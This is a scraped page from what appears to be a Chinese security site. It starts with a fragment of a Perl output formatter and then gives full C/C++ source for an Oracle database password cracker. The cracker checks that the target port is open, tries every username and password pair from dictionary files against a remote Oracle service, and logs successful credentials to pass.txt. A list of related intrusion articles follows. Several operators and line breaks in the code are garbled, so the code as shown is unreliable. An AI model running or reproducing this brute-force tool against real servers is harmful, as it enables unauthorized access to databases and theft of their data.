$response =~ tr/\177/\./; if ($main::indent)
{
parenify($response);
}
else
{
print $response;
}
print "\n";
}
}
sub parenify
{
my ($buf) = shift @_;
my ($i, $c);
my ($indent, $o_indent); for ($i=0;$i<length($buf);$i )
{
$c = substr($buf, $i, 1);
$indent if ($c eq "(");
$indent-- if ($c eq ")");
if ($indent != $o_indent)
{
print "\n" unless(substr($buf, $i 1, 1) eq "(");
print " " x $indent;
$o_indent = $indent;
undef $c;
}
print $c;
}
}
Copy code
/*用鏈表實現(xiàn)的oracle密碼暴破程序,需要在本地安裝oralce*/
#define WIN32_LEAN_AND_MEAN
#if defined(_WIN32) || defined(_WIN64)
#include <windows.h>
#include <Tchar.h>
#endif
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <lmcons.h>
#include <winnetwk.h>
#include <time.h>
#include <stdlib.h>
#include <stdlib.h>
#include <iostream>
#include <occi.h>
#pragma comment(lib, "oraocci9.lib") //鏈接到oraocci9.lib庫
//#pragma comment(lib, "msvcrt.lib")
#pragma comment(lib, "msvcprt.lib")
//鏈接到WS2_32.LIB庫:
#pragma comment(lib, "Ws2_32.lib")
//#pragma comment(lib, "liboracle.lib") char target[40]= {0};//目標服務器
char port[40]={0};//SQL端口號
char db[40]={0};//數據庫名 //定義鏈表:
typedef struct PassNode{
TCHAR password[100];
struct PassNode * Next;
} PassInfo; typedef struct NameNode{
TCHAR Name[100];
struct NameNode * Next;
}NameInfo; //定義NameInfo來表示NameNode結構 //
//函數SQLCheck
//功能:嘗試用不同密碼連接SQL Server,探測出正確的密碼
//
DWORD WINAPI SQLCheck(PVOID pPwd,PVOID uUserName)
{
//定義局部變量
char szBuffer[1025]= {0};
char *pwd=NULL,*UserName=NULL;
char DataBase[255]={0};
//char *user=NULL;
//取得傳遞過來準備探測的密碼
pwd=(char *)pPwd;
UserName=(char *)uUserName;
//DataBase=(char *)db;
sprintf(DataBase,"(description=(address_list=(address=(protocol=tcp)(host=%s)(port=%s)))(connect_data=(SERVICE_NAME=%s)))",target,port,db);
//printf("DataBase=%s\n",DataBase);
using namespace std;
using namespace oracle::occi; Environment * env=Environment::createEnvironment(Environment::DEFAULT); try{
Connection *conn=env->createConnection(UserName,pwd,(char *)DataBase);
if (conn)
{ printf("\n");
cout << "SUCCESS - createConnection" << endl;
//連接遠程oracle Server數據庫成功
return 1;
}
else
cout << "FAILURE - createConnection" << endl;
return 0; /*Statement*stmt=conn->createStatement("select * from emp");
ResultSet * rset=stmt->executeQuery();
while (rset->next()) {
cout<<"the empno is:"<<rset->getInt(1)<<endl;
cout<<"the ename is:"<<rset->getString(2)<<endl; } */
//stmt->closeResultSet (rset);
// conn->terminateStatement (stmt);
env->terminateConnection (conn); }catch(SQLException ex) {
//printf("\n");
cout<<ex.getMessage();
return 0; }
Environment::terminateEnvironment(env);
return 0;
}
void usage(){ printf("name:oracle password crack v 1.0\n");
printf("author:pt007@vip.sina.com\n\n");
fprintf(stdout,"usage : oracle_pwd_crack [ip] [options]\n");
printf("options:\n"
"\t-x port specify the port of oracle\n"
"\t-u username specify the username of oracle\n"
// "\t-p password specify the password of oracle\n"
"\t-d dict specify the dictionary\n"
"\t-i database specify the database's name\n"
//"\t-a automode automatic crack the oracle password \n"
//"\tNote: when u use the -a option, named the username dict user.dic\n"
// "\t password dict pass.dic\n"
);
printf("\nexample: oracle_pwd_crack 127.0.0.1 -x 1521 -u sql_user.dic -d pass.dic -i PLSExtProc\n");
exit(1); } //創(chuàng)建密碼鏈表:
PassInfo * Create_Pass_link(int NodeNum, FILE * DictFile){ /* read data from password dictionary, init the link */
TCHAR * szTempPass = NULL;
PassInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
*s point to the current node*/
int i; /* counter*/ //分配內存空間在內存的動態(tài)存儲區(qū)中分配一塊長度為"sizeof(PassInfo)"字節(jié)的連續(xù)區(qū)域,函數的返回值為該區(qū)域的首地址:
if ( (h = (PassInfo *) malloc(sizeof(PassInfo))) == NULL )
{
fprintf(stderr, "malloc failed %d", GetLastError());
exit(0);
} /* create the head node */ /* init the head node*/
h->Next = NULL;
p = h; for ( i=0; i < NodeNum; i ) //下面是建立鏈表,每個密碼對應一個結點:
{ //按sizeof(TCHAR)的長度分配100塊連續(xù)的區(qū)域,并把指向TCHAR類型指針的首地址賦予指針變量szTempPass
szTempPass = (TCHAR *)calloc(100, sizeof(TCHAR));
ZeroMemory(szTempPass, 100); if ( (s = (PassInfo *)malloc(sizeof(PassInfo))) == NULL)
{
fprintf(stderr, "malloc failed %d", GetLastError());
exit(0);
}
memset(s->password, '\0', 100);
fgets(szTempPass, 100, DictFile);
strncpy(s->password, szTempPass, strlen(szTempPass)-1);
s->Next =NULL; //刪除一個結點
p->Next = s;//鏈表指針指向下一個結構地址
p = s;//下一個結構的數據域賦值 free(szTempPass);//釋放內存空間 }
return h;//返回鏈表的頭結點,它存放有第一個結點的首地址,沒有數據 }
//創(chuàng)建用戶名鏈表:
NameInfo * Create_Name_link(int NodeNum, FILE * DictFile){ /* read data from password dictionary, init the link */
TCHAR * szTempName = NULL;
NameInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
*s point to the current node*/
int i; /* counter*/ //分配內存空間在內存的動態(tài)存儲區(qū)中分配一塊長度為"sizeof(NameInfo)"字節(jié)的連續(xù)區(qū)域,函數的返回值為該區(qū)域(此處為NameInfo結構的首地址)的首地址: :
if ( (h = (NameInfo *) malloc(sizeof(NameInfo))) == NULL )
{
fprintf(stdout, "malloc failed %d", GetLastError());
exit(0);
} /* create the head node */ /* init the head node*/
h->Next = NULL; //刪除下一個結點
p = h; //p里面目前指向頭結點 for ( i=0; i < NodeNum; i )
{//按sizeof(TCHAR)的長度分配100塊連續(xù)的區(qū)域,并把指向TCHAR類型指針的首地址賦予指針變量szTempPass:
szTempName = (TCHAR *)calloc(100, sizeof(TCHAR));
ZeroMemory(szTempName, 100);//字符串類型變量清0 if ( (s = (NameInfo *)malloc(sizeof(NameInfo))) == NULL)
{
fprintf(stdout, "malloc failed %d", GetLastError());
exit(0);
}
memset(s->Name, '\0', 100);
fgets(szTempName, 100, DictFile);
strncpy(s->Name, szTempName, strlen(szTempName)-1);
s->Next =NULL;
p->Next = s;//p指向下一個結點的地址
p = s;//下一個結構的數據域賦值 free(szTempName); }
return h; }
int LineCount(FILE * fd) //返回字典中的密碼數量
{
int countline = 0;
char data[100] = {0};//字符數組清0 while (fgets(data, 100, fd))//從指定的文件中讀一個字符串到字符數組中
countline ; rewind(fd);//指針返回到文件起始處 return countline;
} BOOL IsPortOpen(char * address, int port)
{
int recv = 1;
WSADATA wsadata;
int fd;
struct sockaddr_in clientaddress;
struct hostent * host1;
BOOL Result = FALSE;
struct timeval timer4;
fd_set writefd; //檢查數據是否可寫
ULONG value = 1;
//初使化winsock版本1.1:
recv = WSAStartup(MAKEWORD(1,1), &wsadata); if(recv != 0)
{
printf("init failed %d.\n",WSAGetLastError());
return(0);
} if ( LOBYTE( wsadata.wVersion ) != 1 ||
HIBYTE( wsadata.wVersion ) != 1 ) {
/* Tell the user that we couldn't find a useable */
/* winsock.dll. */
WSACleanup();
return(0);
}
//創(chuàng)建socket套接字連接:
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(fd < 0)
{
printf("[-] Create socket error %d. \n",WSAGetLastError());
return(0);
}
//將套接字fd設為非阻塞模式的方法:
ioctlsocket(fd,FIONBIO,&value); if (!(host1 = gethostbyname(address))){
printf("[-] Gethostbyname(%s) error %d.\n",address,WSAGetLastError());
return(0);
} memset(&clientaddress, 0, sizeof(struct sockaddr));
clientaddress.sin_family =AF_INET;//Ipv4地址族
clientaddress.sin_port = htons((unsigned short)port);
clientaddress.sin_addr = *((struct in_addr *)host1->h_addr); timer4.tv_sec = 5;//以秒為單位指定等待時間
timer4.tv_usec = 0; FD_ZERO(&writefd);
FD_SET(fd,&writefd); //將套接字fd增添到writefd寫集合中進行測試 recv = connect(fd, (struct sockaddr *)&clientaddress, sizeof(struct sockaddr)); if( FD_ISSET(fd, &writefd))
{
recv = select(fd 1, NULL, &writefd, NULL, &timer4);//測試5秒鐘內是否有數據寫入 if( recv > 0 )
Result = TRUE;
} closesocket(fd);
WSACleanup(); return Result; }
int main(int argc, char **argv)
{ PassInfo * head, * curr = NULL;
NameInfo * headnode, * currnode = NULL;
int namecount = 0, passcount = 0; /////////////////////////////////////////////////////////////////////////////////////////////
// deal with the command line
//
/////////////////////////////////////////////////////////////////////////////////////////////
//參數不為8個的時候打印幫助
if(argc != 10)
usage(); if (argc == 10)
{
if ( strcmpi(argv[2], "-x") )
usage(); if ( strcmpi(argv[4], "-u") )
usage(); if ( strcmpi(argv[6], "-d") )
usage();
if ( strcmpi(argv[8], "-i") )
usage();
} /* determinate whether the oracle port is open */
if( !IsPortOpen(argv[1], atoi(argv[3]) ) )
{
printf("error:Can't connect to %s:%d\n", argv[1], atoi(argv[3]));
exit(0);
}
////////////////////////////////////////////////////////////////////////////////////////////
// specifiy the username
////////////////////////////////////////////////////////////////////////////////////////////// //取得目標地址和端口號:
strcpy(target,argv[1]);
strcpy(port,argv[3]);
strcpy(db,argv[9]); if ( !strcmpi(argv[4], "-u"))
{
/* open the password dictionary */ FILE * passdic = NULL;
if ( (passdic = fopen(argv[7], "r")) ==NULL){
fprintf(stdout, "Can't open the password dictionary\n");
exit(0);
}
/* count line of name dictionary */ passcount = LineCount(passdic); //計算密碼的數量
head = Create_Pass_link(passcount, passdic); /* create the password link */
curr = head ->Next; //指向第一個結點 /* open the password dictionary */ FILE * Namedict = NULL;
if ( (Namedict = fopen(argv[5], "r")) ==NULL){
fprintf(stderr, "Can't open the name dictionary\n");
exit(0);
} /*密碼最終保存文件*/
FILE *passtxt=NULL;
if ( (passtxt = fopen("pass.txt", "at ")) ==NULL){
fprintf(stdout, "Can't write pass.txt file!\n");
exit(0);
} /* count line of name dictionary */ namecount = LineCount(Namedict);//計算用戶名數量
headnode = Create_Name_link(namecount, Namedict); /* create user link */
currnode = headnode->Next; int j=0,i=1;
while(currnode!=NULL) //為NULL表示姓名鏈表結束
{
printf("\n開始第%d位用戶%s測試:\n", j,currnode->Name);
while(curr != NULL) //為NULL表示密碼鏈表結束
{
printf("Now cracking %s->%s \n", currnode->Name, curr->password);
fflush(NULL);
int Cracked=0;
Cracked=SQLCheck(curr->password,currnode->Name);
if ( Cracked==1 )
{
printf("%d.Successfully:oracle server %s's username [%s] password [%s]\n",j,target,currnode->Name, curr->password);
fseek(passtxt, 0L, SEEK_END);//移動到文件尾部
fprintf(passtxt,"%d.Successfully:oracle server %s's username [%s] password [%s]\r\n",i ,target,currnode->Name, curr->password);
//exit(0);發(fā)現(xiàn)一個密碼就退出
break;
}
curr = curr->Next;//移動到下一個結點
Sleep(100);//暫停100ms,即0.1s } /* starting crack the oracle password*/
currnode = currnode->Next;
curr = head ->Next; //移到密碼鏈表的第一個結點
}
printf("\n\n密碼猜解結束:\n本次共猜解了%d位用戶,%d個密碼!\n",namecount,passcount);
printf("請使用\"type pass.txt\"來查看當前目錄下的pass.txt文件!\n");
fprintf(passtxt,"\r\n\r\n");
fclose(passdic);
fclose(Namedict);
fclose(passtxt);
free(head);
} return 0; }
相關文章
- CC主要是用來攻擊頁面的,大家都有這樣的經歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06
Windows系統(tǒng)安全風險-本地NTLM重放提權
入侵者主要通過Potato程序攻擊擁有SYSTEM權限的端口偽造網絡身份認證過程,利用NTLM重放機制騙取SYSTEM身份令牌,最終取得系統(tǒng)權限,該安全風險微軟并不認為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結,這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權,需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權與防御方法,需要的朋友可以參考下2017-05-13- 不久之前我們說過關于http和https的區(qū)別,對于加密的https,我們一直認為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10
iPhone和Mac也會被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會導致用戶信息泄露。2016-07-27- 國家正在修正關于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進入攻擊者郵箱2016-07-06